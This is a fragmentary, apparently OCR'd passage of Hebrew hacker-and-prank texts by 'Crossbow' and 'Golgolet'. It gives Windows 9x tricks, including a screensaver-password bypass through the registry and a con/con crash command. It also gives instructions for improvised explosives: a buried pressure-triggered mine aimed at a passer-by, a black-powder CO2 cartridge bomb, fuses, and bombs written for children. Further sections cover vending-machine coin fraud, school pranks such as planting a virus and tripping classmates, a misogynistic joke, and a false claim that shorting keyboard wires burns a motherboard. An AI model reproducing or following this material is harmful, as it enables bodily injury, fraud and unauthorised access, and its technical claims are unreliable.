פתחו את .Paint Brushאם אתם לא יודעים איך :כנסו לתפריט "התחל" ,תלחצו
על "הפעלה" ,תכתבו pbrushואז תלחצו "אנטר" .יופי .תכנסו לתפריט "קובץ"
379
ואז ל" -פתיחה" .תבדקו שליד המילים "חפש ב "...יהיה כתוב C:/ואם לא אז
פשוט תלחצו שם ותבחרו את .C:/לחצו פעמיים על תיקיית ,Windowsואז תכתבו
למטה (בקופסת הטקסט) Logos.sysותלחצו "פתח" .אתם רואים? נסו לצייר על זה
משהו ,אבל לא לשנות את גודל התמונה!!! לחצו על "שמור" בתפריט "קובץ".
ועכשיו תעשו אותו דבר ,חוץ מזה שתכתבו הפעם Logow.sysולא .Logos.sysגם
פה לא לשנות את גודל התמונה!!! לשמור .יופי! בפעם הבאה שתכבו את המחשב
יעלה מה שציירתם .עכישו ,מה עשינו? מייקרוסופט ,החברה האמינה בעולם ,עשתה
דבר מאוד חכם ,היא שמרה את שני הציורים של סגירת וינדואוז בשני קבצים עם
סיומת .sysהסיומת באה להתריע את המשתמש לא לפתוח את הקובץ ,כי סיומת של
sysאומרת קובץ מערכת ( ,)Systemומי מספיק אהבל להתעסק עם קבצי מערכת?
אנחנו כמובן!!! תהנו מהסיגנון החדש של וינדואוז ,שלכם תמיד,
Crossbow
380
מה עושים?
טוב ,כדי לפרוץ סיסמא צריך סיסמא ,לא? אז תכנסו להגדרות של השומר מסך...
אם אתם לא יודעים ,אז זה לוח הבקרה ,משם לתצוגה ,ולכרטיסיית שומר מסך.
מצויין .תלחצו פעם אחת ככה שיהיה וי על התיבה שנמצאת ליד הדבר הזה שכתוב
בו "מוגן באמצעות סיסמא" ...טוב ,עכשיו תכניסו סיסמא ...מה שבראש שלכם...
יופי .אם תפעילו לשומר מסך ותזיזו את העכבר ,אתם תצטרכו להכניס סיסמא.
טוב ,נגיד שיש לנו את הכתבה הזאת מודפסת ביד ,כי נצטרך לעשות ריסט .טוב,
אחרי שהשומר מסך ביקש מאיתנו סיסמא לצאת ממנו ,אנחנו נעשהה ריסט ידנית...
יעני ,לחצו על הכפתור בקופסא של המחשב שיעשה ריסט .טוב ,אחרי שוינדואוז
עלה לנו ,תפתחו את עורך הרג'יסטרי ...יעני ,תכנסו להתחל ,ואז להפעלה ואז
תכתבו שם regeditותלחצו אנטר .עכשיו ,אם קראתם טקסטים קודמים אתם יודעים
איך לשלוט ולהפעיל את עורך הרג'יסטרי .מי שלא יודע אז שיתפוצץ ,או שיקרא
בכתבות אחרות באתר הזה ...טוב ,בעורך הרג'יסטרי תכנסו לתיקייה:
HKEY_CURRENT_USER\Control Panel\Desktop
ותלחצו על Desktopפעם אחת בלבד!!! עכשיו ,מצד ימין יש סימן כחול שלידו
כתוב ...ScreenSaveUsePasswordוהערך שלו הוא הקסדימלי ,אחד ,יעני הערך
צריך להיות .00000001עכשיו ,זה קובע אם הסיסמא מופעלת או לא .ממש כמו
בשפה הבינארית 0 :זה מכובה ,אחד זה פועל .אז מה עושים? לא צריך למצוא מהי
הסיסמא ,לא צריך למחוק כלום ,צריך רק לכבות ...אז לוחצים פעמיים ובמהירות
על ScreenSaveUsePasswordוכותבים שם באלגנטיות את המספר .0אפס! אפס!!!
אני אפס!!! אני בן ארצי!!! אני אפס!!! חחחחח ...טוב ,יוצאים מהעורך שלנו.
פותחים מחדש את השומר מסך ,ונראה אותו מבקש סיסמא!!! חה חה חה!!!
אז תצחקו על הטמבלים ששמים סיסמת שומר מסך!!!שלכם,
Crossbow
381
לוחצים על ,Altמשאירים אותו לחוץ ,ואז יש את המספרים בצד ימין של המקלדת
שמסודרים בריבוע ונקראים גם ,Numpadבקיצר לוחצים על אפס ,על אחד ,על שש
ולבסוף על תשע (אבל משאירים את מקש Altלחוץ!!!) .עכשיו ,כתלות במערכת
שלכם ,ברגע שתאשרו את השם החדש ,התיקייה שלכם תיקרא פתאום בשם "תיקייה
חדשה" או אם יש לכם מערכת אנגלית " ."New Folderאז אם תנסו להכנס אליה,
תעלה לכם שגיאת מערכת קבצים שאומרת שהתיקייה לא קיימת .וגם כמובן אי אפשר
למחוק עליה ,ולא קיים עליה תיעוד .טוב ,אין הרבה מה להוסיף כאן ...הדרך
היחידה למחוק אותה היא דרך אם אס דוס .התיקייה לא תיקרא בשם של אסקיי
מספר ,0169אלא באות .Cדרך אגב ,אותו דבר אפשר לעשות עם מספרי אסקיי
מסויימים אחרים .למשל מספר 0174שמיוצג באות .Rעוד באג שממש ,אבל הרבה
יותר מסוכן הוא מספרי אסקיי שלא מיוצגים בדוס בשם חוקי של תיקייה (כמו
למשל אם תנסו ליצור תיקייה עם מספר אסקיי של ,0164שמיוצג במערכת אם אס
דוס בתור כוכבית שאין לה משמעות ,ואפילו הצלחתי להגיע לתיקייה שמיוצגת
בדוס בתור מרכאות ,שנחשבות בכלל לשם שאינו חוקי בכל מערכת) .בקיצר ,אם
אתם במקרה נתקעתם עם תיקייה שאתם לא מצליחים למחוק ,אפשר להתגבר על בעיות
כאלה באמצעות תוכנת ScanDiskאבל בתוך אם אס דוס בלבד ,יעני ,אם התיקייה
נמצאת בכונן ( Cמשנה רק אות הכונן ,לא משנה המיקום המלא הסופי) ,אז תפתחו
את מערכת אם אס דוס (כאשר מערכת Windowsלא פועלת) ,ותכתבו בשורת הפקודה
של אם אס דוס את המילים Scandisk cותלחצו אנטר .עוד דבר שאני רוצה להגיד
זה בעצם איך הדבר קורה .ההסבר לזה הוא שמספרי אסקיי מסויימים במערכות של
פקודת שורה (כמו Ms Dosאו )Linux Terminalשונים מאותם ערכים אורדינליים
במערכות גרפיות (כמו Windowsאו .)Linux Window X Guiבקיצר ,אם תכתבו את
ערך האסקיי של המספר 0164בוינדוס יוצג לכם סימן של דולר ,אבל אם תכתבו
את אותו ערך אורדינלי (אסקיי מספר )0164תחת מערכת שורת פקודה (כמו אם אס
דוס) ,יוצג לכם את האות האנגלית nעם קו מגעיל מעליה ...עכשיו ,אפשר לנצל
את השוני הזה בין מערכות :ליצור תיקייה עם מספר אסקיי לא שווה ערך תחת
מערכת דוס ועל ידי כך ליצור שגיאת מערכת קבצים בוינדוס ,או להפך ,ליצור
תיקייה עם ערך אסקיי לא שווה ערך אורדינלי בין המערכות תחת וינדוס ,ועל
ידי כך לחסום את אותה תיקייה במערכת אם אס דוס .אם יש לכם עוד בעיות אתם
יכולים לנסות לתפוס אותי באייסיקיו ,אבל אני לא מבטיח לפתור את הבעייה,
כי שימוש בטקסט הזה הוא כולו על אחריות המשתמש! טוב ,אני מקווה שנהנתם.
שלכם בכיף,
Crossbow
382
עורך טקסט (זה תחת מערכת ,Windowsכנראה שתרצו להשתמש בעורך .)Notepad
אוקיי ,עכשיו ,זאת טכנולוגיית .iniהרעיון של קבצים עם סיומת iniהוא
לשמור מידע בתוך פרמטרים .למשל ,את טבלת השיאים בשולה המוקשים .עכשיו,
בתחילת כל קובץ iniישנה שורה שמציינת את התפקיד של החלק הזה של הקובץ.
לדוגמא ,בתחילת Winmine.iniיש לנו את המילה [ ]Minesweeperבמידה ויש לנו
מערכת אנגלית ,או [שולה המוקשים] במידה ויש לנו מערכת עם גרסא עברית.
מתחת ,כל שורה תציין את שם הפרמטר ,ואחריו הערך שלו .הפרמטר שמציין את
השם של האלוף ברמה קלה הוא ,Name1הפרמטר שמציין את השם של האלוף ברמה
בינונית הוא Name2והפרמטר שמציין את השם של האלוף ברמה הקשה הוא .Name3
עכשיו ,נגיד שהיה כתוב לי ,Name1=Yosiאבל אני רוצה שיהיה כתוב שם את
השם שלי ...אז נשנה את השורה ונכתוב ...Name1=Crossbowכמה פשוט ,כמה קל.
אפשר לשנות כל אחד מהפרמטרים שכבר ציינתי למעלה בהתאם לרמת הקושי שאתם
רוצים להופיע בטבלת השיאים .טוב ,עכשיו נעבור לזמן השיא שלכם .הפרמטר
Time1מציין את זמן השיא של הרמה הקלה ,הפרמטר Time2מציין את זמן השיא
של הרמה הבינונית ,והפרמטר Time3מציין את זמן השיא של הרמה הקשה .כאן,
כמו בפרמטרים שמציינים את השם ,פשוט משנים .נגיד היה כתוב לי ,Time1=44
אבל אני רוצה שיהיה כתוב שם שסיימתי בשנייה אחת ולא בארבעים וארבע ...אז
פשוט נשנה את השורה ונכתוב ...Time1=1ישנם עוד פרמטרים ,אבל אותם אפשר
לשנות בתוך המשחק עצמו .למשל ,פרמטר Colorמציין צבעוניות :אם הערך שלו
הוא אחד ,אז המשחק צבעוני ,אם הוא אפס ,אז המשחק שחור לבן .תמיד תזכרו
שמידע צריך להשמר איפשהו ,בקובץ כלשהו ,או ברג'יסטרי ,ויש לכם גישה מלאה
לכל מקום שתרצו ...שלכם,
Crossbow
383
"הפעלה" זה ...Runומי שלא ידע שיחזור לכיתה ג' .עכשיו נפתח לכם כזה חלון
יפה עם מקום לכתוב טקסט ...תכתבו שם ככה con/con :ואז תלחצו אנטר .אם לא
נתקע לכם המחשב ואתם עדיין רואים את הקובץ הזה תכתבו שם con/nul :ותלחצו
אנטר .עכשיו ,מה עשינו :דפקנו את המחשב ,המערכת הפסיקה להגיב ,ובקיצור,
מייקרוסופט אהבלים ...אז תהנו ,שלכם,
Crossbow
שריפת הלוח אם
לא מומלץ לבעלי לב חלש!!! טוב ,תכבו את המחשב .יופי .תקחו סכין ותחתכו
בעדינות את החוט שמחבר בין המקלדת למחשב ...עכשיו יש שם משהו כמו חמישה
חוטים .תפתחו גם אותם ,ותחברו את כולם אחד עם השני .עכשיו ,ברגע שמישהו
ידליק את המחשב ,כל לוח האם יישרף! וזה בגלל שיצרנו עומס יתר כזה על הלוח
אם ,כי המקלדת שולחת מיליארד פקודות בשנייה ללוח האם...
תהנו ,שלכם,
Crossbow
תכניקת פצצות
אהלן! טקסט זה מיועד לאנשים שבונים פצצות ,אבל רוצים לשפר את הפצצות כך
שיהיו יותר ...מרהיבות! אז בקיצר ,אני אסביר פה קצת על עקרון חשוב שנקרא
עקרון החרוט .עכשיו ,בת'כלס ,עקרון זה עובד המון על פיזיקה מכנית ,אבל פה
אני פשוט אסביר לכם את זה בלי הבולשיט .אוקיי .נגיד שאנחנו מפוצצים פצצה
384
ומסביבה חרוט עץ .עכשיו ,חרוט העץ מתפוצץ באופן כמעט אנכי .הסיבה לכך היא
פיזיקלית -צורת החרוט גורמת לזה .עכשיו ,אפשר גם להסביר את זה כמו שהיה
בסרט ארמגדון .נגיד שאנחנו מחזיקים ביד פצצה .עכשיו ,אם היד פתוחה והפצצה
תתפוצץ ,אז היד קצת תדפק ,אבל אם היד תהיה מהודקת וסגורה על הפצצה ,מה
שייקרה הוא שחצי רחוב יהיה ממולא באצבעות שלך...
אז תשימו ת'פצצה שלכם בתוך החרוט ,ותראו מה ייקרה...
אז תהנו ,שלכם,
Crossbow
385
אחת מהן:
מ -׳ א -׳
ם -׳ ב -׳‘
נ-׳ ג -׳’
ן -׳ ד -׳“
ס -׳! ה -׳”
ע -׳¢ ו -׳%
פ -׳₪ ז -׳–
ף -׳£ ח -׳—
צ -׳¦ ט -׳ק
ץ -׳¥ י -׳*
ק -׳' כ -׳›
ר -׳) ך -׳
ש -׳© ל -׳
ת -׳×
שימו לב שכל אות מורכבת משני תווים .אפילו האות נון הרגילה לכאורה נראית
מורכבת מתו אחד ,אבל בת'כלס יש שם שניים .עכשיו ,זה חשוב מאוד לא לכתוב
את התווים בעצמכם ,אלא להעתיק .חוץ מהאותיות האלה ,כל שאר התווים רגילים,
יעני סימני פיסוק ,רווחים וכאלה .לדוגמא ,הנה משפט בעברית:
יש מבין? עכשיו ,אני לא רוצה שסתם תקבלו טריק ,אלא תבינו גם איך .אז ,איך
גיליתי את זה? שלחתי לפלאפון האישי שלי מפלאפון תומך עברית (של אבא שלי)
את כל האותיות העבריות ,יעני מה שיצא הוא שקיבלתי הודעה כזאת:
אבגדהוזחטיכךלמםנןסעפףצץקרשת
עכשיו ,ברגע שקיבלתי ,שלחתי את ההודעה הזאת לאינטרנט ,למספר אייסיקיו שלי
ליתר דיוק ,ואז קיבלתי את האותיות המוזרות האלה .זה היה נראה ככה:
׳ ׳‘׳’׳“׳”׳%׳–׳—׳ק׳*׳›׳ ׳ ׳ ׳ ׳ ׳ ׳!׳¢׳₪׳£׳¦׳¥׳'׳)׳©׳×
עכשיו מה ,אני רואה שיש 27אותיות עבריות ,אבל יש פה 54תווים .מפה אפשר
להבין שהקידוד של כל אות עברית הוא שני סימנים ,ולכן הגעתי למסקנה שבעצם
כל אות היא שני סימנים ,ואז חילקתי .עשיתי בדיקה ,ומסתבר שצדקתי .מעכשיו,
דברו בשפת הקודש .אולי בעתיד אני אבנה תוכנה שהופכת עברית לקידוד כזה,
ואז תשלח .שלכם,
Crossbow
הסתכלתם פעם לתוך עיניים של האקר? חשבתם פעם איך נראה האקר? אני יודע את
386
התשובה .אני יודע איך האקר נראה :האקר לא נראה ,האקר מדבר .אף אחד מכם לא
יכול לראות בנאדם ברחוב ,ולהגיד "זה האקר" .כי האקר לא נראה ,האקר נשמע.
האקר אפשר לזהות על פי המילים שלו .על פי הסקרנות שלו ,שלא פוסקת ,שנראה
שאף פעם לא תגמר .האקר זה אחד שקורא ספרים ,גם מחוץ לבית ספר .אתם יודעים
אולי למה? האקר סקרן .האקר חייב לדעת .צודק .איך אפשר לחשוב בכלל על זה
שמישהו יודע משהו ,ואתה לא? אי אפשר .אתם יכולים כולכם ללכת לבית ספר,
ולסיים בהצטיינות ,ועדיין לא לדעת .בבית ספר לא יודעים .בבית ספר לומדים.
אתם קוראים לנו פושעים .אתם יודעים למה? אנחנו פושעים כי אתם לא יכולים
לזהות אותנו ,אתם לא יכולים לדעת מי האקר ומי לא לפי איך שהוא נראה .זאת
בעצם אשמתכם .תראו איך לכל דבר בעולם הדביקו תווית :חנון זה זה שלובש
משקפיים ,אערס זה זה עם הגרעינים ,פריק זה זה עם המכנסיים הענקיות ,רוקר
זה זה עם השיער המוזר והגיטרה החשמלית .ומה זה האקר? אין תשובה .נסו פעם
לצייר האקר .אי אפשר ,כי אתה לא יודע מי אנחנו.
אנחנו כולנו רק שמות בדויים .ניקניימז שמייצגים אותנו .יום אחד ,כולנו
נוכל להזדהות .יום אחד ,הניקניימז יהפכו לפרצופים ,יהפכו לבני אדם .ואז
אנחנו נראה מי אתם .איך זה יכול להיות שבנאדם זקן בן 40שלא יודע מה זה
הארד דיסק נהיה לי איזה ראש מחשבים בבית ספר? אל תזלזלו בנו כי אנחנו רק
ילדים .אל תחשבו אפילו על לזלזל באף ילד שיש בעולם .אני אף פעם לא אחשוב
שאני האקר .אתם יודעים למה? כי תמיד יש משהו חדש ללמוד .תמיד יש עוד שפת
תיכנות ,או עוד באג .האקר זה אחד שרוצה לדעת תמיד .רוצה לדעת מסקרנות.
אני קרוסבוו ,וזה המסר שלי לכל ההאקרים בעולם :תראו לאנשים הבכירים מה
אתם יכולים לעשות .ולכל אלה שחושבים שאנחנו פושעים :אתם אף פעם לא תעצרו
אותנו ,כי בת'כלס ,אנחנו רק ילדים ,נכון?
387
C:\Windows\Clipbrd.exe
עכשיו אתם אמורים לראות טקסט .עכשיו ,למה טקסט לעזאזל? התשובה היא שהטקסט
שאתם רואים הוא בעצם המיקום המדוייק של הקובץ שאותו אנחנו רוצים להעתיק.
טוב ,זה בעצם הרעיון של ההעתקה .עכשיו נעשה משהו יותר יפה :אנחנו הולכים
להעתיק תמונה .תיכנסו לצייר ושרבטו משהו .עכשיו ,תלחצו על החלק הזה בכלים
של הצייר שנראה כמו ריבוע שעשוי מקווים ,ואז תגררו את העכבר כשהוא לחוץ
לאורך חלק מהציור שלכם .עכשיו תלחצו על החלק הימני של העכבר על החלק
שעכשיו מסומן במלבן ,ואז ייעלה לכם תפריט ,ואז תלחצו על "העתק" .עכשיו
אני רוצה שתצאו מהצייר .אל תשמרו ,אל תעשו כלום .תיכנסו עוד פעם לתצוגת
הלוח .עכשיו ,אם עשיתם הכל נכון ,צריך להיות החלק שהעתקתם .אם הבנתם נכון
אז אתם יודעים איך ההעתקה פועלת :כשאנחנו לוחצים על "הדבק" אנחנו בעצם
משתמשים במה שנמצא בתצוגת הלוח ,ובגלל זה כשאנחנו מעתיקים משהו ואחרי זה
משהו אחר הוא תמיד יעתיק רק את הדבר האחרון שהוכנס אל תצוגת הלוח.
טוב ,עכשיו פתיחת קבצים .כשאתם פותחים קובץ מסויים ,נגיד קובץ אם פי שלוש
של להקת קווין האגדיים ,והקובץ נפתח דרך נגן מסויים ,זה בעצם עובד אחרת.
עכשיו אני הולך לתרגם את הפקודות של מערכת וינדואוז לתוך מערכת אם אס דוס
אז מי שלא יודע אם אס דוס שיילמד ,טוב? עכשיו ,בוינדואוז אתם לוחצים על
העכבר פעמיים על הקובץ שאתם רוצים לפתוח .באם אס דוס זה אחרת:
עכשיו ,הפקודה מחולקת לשלוש .החלק הראשון הוא ההצהרה למערכת שאנחנו רוצים
להתחיל קובץ .זאת המילה הראשונה שבאותיות גדולות .המילה היא
CALL
טוב ,החלק השני הוא התוכנית שאותה אנחנו רוצים להפעיל ,מיקום מלא .טוב,
החלק האחרון הוא הקובץ שאנחנו רוצים לפתוח .עכשיו ,אם אנחנו לא נכתוב את
החלק השלישי המערכת תפתח את התוכנה בלי שום קובץ פתוח.
טוב ,דבר אחרון :קיצורים בהפעלה .שמתם לב לפעמים שאתם יכולים לכתוב משהו
בתוכנית "הפעלה" שבתפריט "התחל"? זה בגלל שהתוכנית כנראה ממוקמת בתוך
הסיפרייה של וינדואוז .בגלל זה יש המון תוכניות ,אפילו מטומטמות שאפשר
לפתוח בלי לרשום מיקום מלא .הנה חלק:
KODAKIMG ASD
KODAKPRV REGEDIT
MPLAYER PBRUSH
NOTEPAD DIALER
NETWATCH DEFRAG
OUTLOOK CDPLAYER
PROGMAN EXPLORER
FREECELL
טוב ,אז איך עושים שמשהו ייפתח בלי מיקום מלא? בונים קיצור דרך! נכנסים
לתיקייה של וינדואוז ,ובונים קיצור דרך למיקום שאתם רוצים ,וזהו .השם של
הקיצור דרך יהיה השם של הקיצור להפעלה בלי מיקום מלא!
טוב ,אז תחקרו את המערכת הפעלה הרבה ...שלכם,
Crossbow
פצצת עשן מכדור פינג-פונג
הערה :גיליתי פצצה זו כשניסיתי ליצור פצצה רגילה מכדור פינג-פונג
וזה עבד בחמש פעמים מתוך חמש שניסיתי.
חומרים:
*כדור פינג-פונג
388
*אבק שריפה
*בערך 60ראשי גפרורים
*סכין או מספריים חדות
*דבק פלסטי
*פתיל (אני אכין שני טקסטים על איך להכין פתילים מוצלחים)
אופן ההכנה:
Golgolet
389
את החוט השני של הבטריה מחברים למדליק הסולארי ומהמדליק הסולארי מחברים פיוז (גם
על זה אני
יעשה טקסט) לפצצה (פצצות מומלצות -פצצת צינור( ,)pipe bombפצצת CO2וכדומה).
רישום של המוקש:
סוללה -------------לחצן
\ /
\ /
\ /
\ /
\ /
מדליק סולאר
פצצה
עכשיו לאחר שיש לכם מוקש חפרו בור ,לא עמוק מדי אבל מספיק עמוק שהכל יכנס (העומק
תלוי באיזה
לחצן אתם משתמשים ובאיזו פצצה) לאחר כיסוי הבור השאירו את הלחצן גלוי אך לא גלוי מדי.
שתלו את הפצצה 4-1מטרים מהלחצן(תלוי באיזו מהירות הבנאדם הולך,רץ זוחל ,הולך
וכדומה).
אם צדקתם בחישוביכם הבנאדם
המסכן...בבבבבבבבבבווווווווווווווווווםםםםםםםםםםםםםםםםםםם!!!
חי,חי,חי...
שלכם בפיצוציות,
Golgolet
390
.2סובבו 3חוטי כותנה
.3תדביקו את שלושת החוטים עם ההאבקה
.4תחברו לפצצה
.1רחצו את הכותנה במים חמים ועם סבונים ואז תנקו עם מים נקיים
.2תערבבו את הבאים בקערה:
אלו היו הפיוזים הקיצוניים ביותר ,אולי ,אם ישעמם לי ,אני יכתוב על פתילים אחרים.
שלכם,
Golgolet
פצצת CO2
הערה :יעיל בשביל מוקשים אך גם יעיל בתור פצצה רגילה
קחו מחסנית ריקה ועם ציפורן או משהו ,תגדילו את החור בחמש סנטימטרים.
מלאו את המחסנית באבקה שחורה ותאחסנו את זה טוב טוב ע"י דפיקת התחתית של המחסנית
על משטח קשה.
(דפיקה קלה לא הכאה!) הכניסו פתיל.
391
אני יודע שזה הסבר קצר אבל זה קשה! וזו פצצה חזקה! יכול לפוצץ מה שאתם לא רוצים!~!~!
שלכם,
Golgolet
דרך העבודה:
392
| |
| |
| |
| |
-----
עכשיו ,שימו שימו אותם אחד על השני (את החתיכה השנייה על הראשונה)
ותכופפו את העליונה 45מעלות למעלה
/
/
- === ===/סלוטייפ צינורות
- --- =====---מתכת
תחברו את שתי החתיכות עם סלוטייפ צינורות ותכנסיו את שתי החוטי חשמל בחורים
""""/
""" -חוטי חשמל /
=== -סלוטייפ צינורות =====/
- ---מתכת """"=====---
זהו! זה מוכן!
שלכם,
Golgolet
פצצת רפיל
כןכן שלום לכם שוב .אם השעה היא היא 11:00בבוקר,
עדיף שתלכו לישון ,אתם עוד קטנים לפצצות (וייי אני חמוד) !!!
או קי קחו רפיל מנחושת של עט ישנה או שתבקשו באיזה חנות כלי כתיבה ,עט עם רפיל נחושת
תוציאו ממנו חצי מהכמות שיש שם(.מה אתה לא יודע מה זה ?! ,זה הגליל הקטן שבתוכו יש
דיו)
ותעשה בו איזשהו פתח שתוכל להכניס ולגרד לתוכו את הגפרית (אתם יודעים הראש של
הגפרור).
אחרי שגירדתם הרבה גרגרגר.
כן אחרי שגירדתם הרבה גרגרגרים לתוך הרפיל תשימו קצת אבקת אפיה וחומץ ,תגידו להורים
שאתם רוצים
אבקת אפיה וחומץ לפוצץ איזה ילד שעיצבן אותכם ,סתם סתם אני אומר לאימה שלי שלמדתי
קסם חדש עם חומץ,
ואני צריך קצת ,או שאפשר להגיד עקץ אותי יתוש בתחת תני לי חומץ בקשההההה זה מגרד.
393
בכל מקרה תדליקו מדורה ,שתיהיה גדולה אל תפחדו כן אחרת זה לא שווה ,
(כן אני יודע תתרחקו מהבית אם הוא חשוב לכם ואתם לא רוצים להרוג את שושנה השכנה
ממול,
שכרגיל שואלת "מפגרים מה זה הרעש הזה" (כמו בסרטים אהה ??).
ותזרקו את הפצצה אל האש לאחר שסגרתם את הרפיל טוב טוב טוב משתי הצדדים עם צבת (עם
אתם לא מצליחים תבשקו ממישהו מבוגר).
כי כל הקטע שתיהיה שריפה בתוכו שלא תוכל לצאת ,ואז תזרוק לאש ופתאום תשמע
!!! BOOOOOOOOOOOOOOOOOOOMMMM
אם גם לכם יש פצצות ואתם רוצים שהעולם יתפוץ יותר מהר ולעזור למחבלים ,שלחו לנו
HFM@2die4.com לכתובת :
Golgolet
-מכוניות כאלה לילדים ששמים שקל וזה מתחיל ללכת קדימה ואחורה כמה דקות
והילד חושב שהוא נהנה :קחו מטבע של פראנק *בלגי* אחד ,רצוי מהסוג הישן .מטבע
כזה שווה
עשר אגורות ,בעוד שאם תשימו אותו במכונה כזאת היא תחשוב שהוא שקל .זה בדרך
כלל עובד רק
במכונות כאלה ,ולא במכונות שתייה /חטיפים /וכו'.
-עוד אחד למכונות כמו למעלה :לחצו על הכפתור שמתחת לחריץ הכנסת השקל ,ובעודכם
לוחצים עליו
הכניסו שקל .השקל אמור לצאת חזרה והמכונה תפעל .אני לא יודע אם זה יפעל תמיד,
394
אני יודע
שבשבילי זה פעל פעמיים מתוך פעמיים שניסיתי .וגם גיליתי את זה בטעות .אני לא
אחראי אם
זה לא עבד ואיבדתם שקל ,אבל כמה זה כבר שקל? שווה לנסות .אפשר לעשות את זה
שוב ושוב,
ולרושש את הקניון שזה נמצא בו בחשבון חשמל גבוה .בשביל זה כמובן ,תצטרכו
להפעיל את המכונה
אלפי פעמים.
-למכונות שתייה :הרבה חושבים שהמכונה רואה מה כתוב על המטבע ,ולפי זה יודעת
איזה מטבע זה.
אבל זה לא נכון .הן שוקלות את המטבעות .לכל מטבע יש משקל משלו.
קחו מאזניים *אלקטרוניות* וגם *מדוייקות* שיכולות להראות גרמים יחידים!
מדדו את המשקל של שקל /חצי שקל /חמש שקל /עשר שקל .חפשו מטבעות זרים ,או
לירות ישראליות
ישנות ,ונסו שילובים שונים של מטבעות שאם תשימו אותם יחד הם יהיו אותו משקל
כמו אחד מהמטבעות
הטובים .למשל ,אם גיליתם שחמש שקל שוקל 10גרם וחמש סנט שוקל 3גרם ,ו25-
סנט שוקל 6גרם,
תחברו ביניהם ויש לכם חמש שקל .דרך אגב ,תתעלמו מהמספרים .סתם הקרצתי אותם,
אני לא זוכר את
המשקל של הכל .אם אתם אומרים 3 :ועוד 6שווה 9ולא :10אז תדעו שזה בגלל שיש
משקל גם לסלוטייפ
שאתם הולכים לחבר איתו את ה 5-סנט וה 25-סנט .נניח שהוא שוקל גרם .אז חיברתם
אותם עם סלוטייפ,
רק תדאגו שזה לא יוצא שכבה גדולה של סלוטייפ כי אז זה לא ייכנס במכונה,
ותדאגו שזה יהיה בדיוק
אותו משקל כמו המטבע המקורי .כמובן ,תחשבו שהשווי של המטבעות שאתם משתמשים
בהם יוצא בסה"כ
פחות מהמטבע המקורי ,כי אם לא הפסדתם כסף ולא הרווחתם ...אם לא בא לכם קולה,
תלחצו על כפתור
החזרת הכסף וקבלו 5שקל אמיתיים.
-טריק ישן שמכונות חדשות מוגנות מפניו ,והוא גם קשה לביצוע :קדחו חור מאוד קטן
במטבע,
עם מקדח קטנצי'ק שאפשר לקנות בחנויות שיפוצים ועשה זאת בעצמך .חשוב מאוד
שהחור לא יהיה
גדול מדי ,כי אז המטבע מאבד ממשקלו והמכונה לא מזהה אותו .קושרים חוט דק מאוד
אבל חזק
לחור ,וההמשך ברור .אבל חשוב להקפיד ,לא להוריד את המטבע לאט לאט עם החוט -
אלא להחזיק
בקצה של החוט ולזרוק את המטבע כרגיל ,ככה שהחוט לא יעצור אותו ולא יפריע לו.
אם מפילים
את המטבע עם החוט ,לאט לאט ,המכונה יכולה לחשוב שהוא קל יותר ולחשוב שהוא
משהו אחר.
אחרי שהמטבע בפנים ,מושכים אותו החוצה בזהירות ,הפעם לאט .הסכום כבר רשום
במכונה ולא יימחק.
עושים זאת שוב .אחרי כמה פעמים ,לוחצים על כפתור עודף ומקבלים כסף!
כדאי לעשות את זה עם מטבע של עשר או חמש ,ככה מרוויחים יותר...
-ועוד טריק ,שלא מרוויחים ממנו כסף בדיוק אבל אם חושבים על זה אז בעצם כן:
וזה הטריק היחיד ש **בטוח** עובד בכל הכתבה הזו!
אם נתקעתם ,במהלך חייכם ,במאות ואלפי מטבעות של 5 / 10אגורות ,בטוח שלא
תשתמשו בהם
בכלל בגלל שאם תתנו אותם לאיזה מוכר הוא יתעצבן עליכם ויחנוק לכם את הצורה.
אבל ,למכונה אין חבל בסביבה אז היא לא תוכל לחנוק אותכם .שימו במכונה את כל
395
מטבעות האגורות
שלכם ,וכשתגיעו לחמישה שקלים -לחצו על כפתור החזרת עודף .לא ייחזרו לכם
העשרות אגורות שלכם-
אלא מטבע יחיד ויפה של חמישה שקלים! ככה שבעצם לא הרווחתם כלום ,אבל בעצם כן!
כי עם האגורות
לא הייתם עושים כלום!
שלכם,
Golgolet
396
.2לשנות את הציונים של כל בית הספר....
Golgolet
"בנות הם כמו מסמר .או שהם עקומות או שמישהו כבר דפק אותם"
397
* השתילו וירוס על אחד המחשבים ,והפעילו אותו.
מקסימום אתם גם יכולים לקנות את הדבק מגע שקודם צריך לחכות 6 ,5דקות לפני
שמדביקים,
תמרחו את זה על הכיסא ,ואז גם אם הוא יבוא רק עוד 3דקות לכיתה ,הוא עדיין יידבק לכיסא.
* תעשו 'חליקות' במסדרונות תוך כדי שאתם מפילים ככה ילדים אחרים וגם מורים אם יש לך
אומץ.
* להרבה מבתי הספר בארץ יש פקסים .השיגו את המספר ,ושלחו אליו מלא הודעות עם
שטויות.
* בשיעורים שבהם לומדים שפה מסויימת כמו לדוגמא אנגלית ,יידיש ,או צרפתית מרבים
להשתמש
ברדיוטייפ ולהשמיע הקלטות .אם תוכלו להחליף את הקלטת של המורה בשלכם בלי שישים
לב ,זה יהיה
מגניב .צוות האתר סומך על הדימיון שלכם שתקליטו דברים שייעצבנו את המורה ויישפכו את
הכיתה
מצחוק.
* אם יש מורה מחליף ,תמיד מומלץ לעבוד עליו כשהוא שואל לשמות שלכם.
אח"כ כשהוא רושם למורה מי עשה בלגנים הוא רושם שמות של ילדים שלא קיימים בכיתה
שלכם.
398
* תארגנו שהשעונים של כל הכיתה יצפצפו בשעה מסויימית באמצע השיעור .ביפ ביפ ביפ
ביפ...
* כשיש מורה מחליף תעמידו פנים שאתם עולים חדשים ולא מבינים טוב עברית.
כך כשהמורה מבקש ממכם לעשות משהו תעשו כאילו אתם לא מבינים מה הוא אומר..
* אל תזוזו .פשוט תישארו בתנוחה מסוימת כל הזמן .זה נשמע קל אבל זה קשה.
וזה גם ידאיג את המורה .אם מישהו קורה בשימכם ,אל תסתובבו ואל תזיזו את העיניים.
פשוט תבחרו משהו בראש ותסתכלו עליו ורק עליו כל הזמן בלי לזוז .אם מישהו יצחיק אותכם,
הכל נדפק .אז ראו הוזהרתם!
* כמו כן אתם גם יכולים לפתוח ספרי לימוד בספרייה ולהשאיר הודעות וציורים בעמודים
אקראיים.
* עוד משהו נחמד עם ספריות זה להשאיל ספרי מתח ,ובבית לתלוש את העמוד שמגלה את כל
המיסתורין.
אם אין לכם כוח לקרוא את כל הספר ,פשוט תילשו את שלושת העמודים האחרונים.
כעת אתם יכולים להחזיר את הספרים לספרייה.
שלכם,
Golgolet
קיימות שיטות שונות לפריצת דיסקים שאותם תמצאו בפינת מאמרים בתפריט הקראקרים.
השיטות המקובלות והמקצועיות ש 100%עובדים הם:
